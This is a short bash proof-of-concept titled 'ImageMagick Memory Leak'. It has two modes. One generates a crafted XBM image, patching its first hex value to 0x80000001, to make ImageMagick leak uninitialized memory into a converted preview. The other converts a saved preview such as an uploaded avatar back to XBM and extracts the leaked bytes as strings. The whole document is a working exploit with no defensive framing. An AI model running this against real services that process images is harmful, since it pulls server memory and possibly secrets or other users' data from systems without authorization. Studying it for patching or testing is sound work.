ImageMagick Memory Leak

`#!/bin/bash  
  
help() {  
echo "Usage poc generator: `basename $0` gen WIDTHxHEIGHT NAME.xbm [minimal]"  
echo " Example gen: `basename $0` gen 512x512 poc.xbm"  
echo "Usage result recovery: `basename $0` recover SAVED_PREVIEW.png|jpeg|gif|etc"  
echo " Example recovery: `basename $0` recover avatar.png"  
}  
if [ "$1" == "-h" ]; then  
help;  
exit 0  
fi  
if [ "$1" == "gen" ]; then  
echo "Generating..."  
convert -size $2 xc:white $3  
sed -i '0,/0x../s//0x80000001/' $3  
if [ "$4" == "minimal" ]; then  
echo "Shrink to minimal body size mode"  
sed -i 's/0x00//g' $3  
sed -i 's/,//g' $3  
sed -i '/^\s*$/d' $3  
fi  
echo "Done"  
exit 0  
fi  
if [ "$1" == "recover" ]; then  
convert $2 temp.xbm  
cat temp.xbm | grep -o '0x..' | xxd -r -p | strings -3  
rm temp.xbm  
exit 0  
fi  
help;  
  
  
`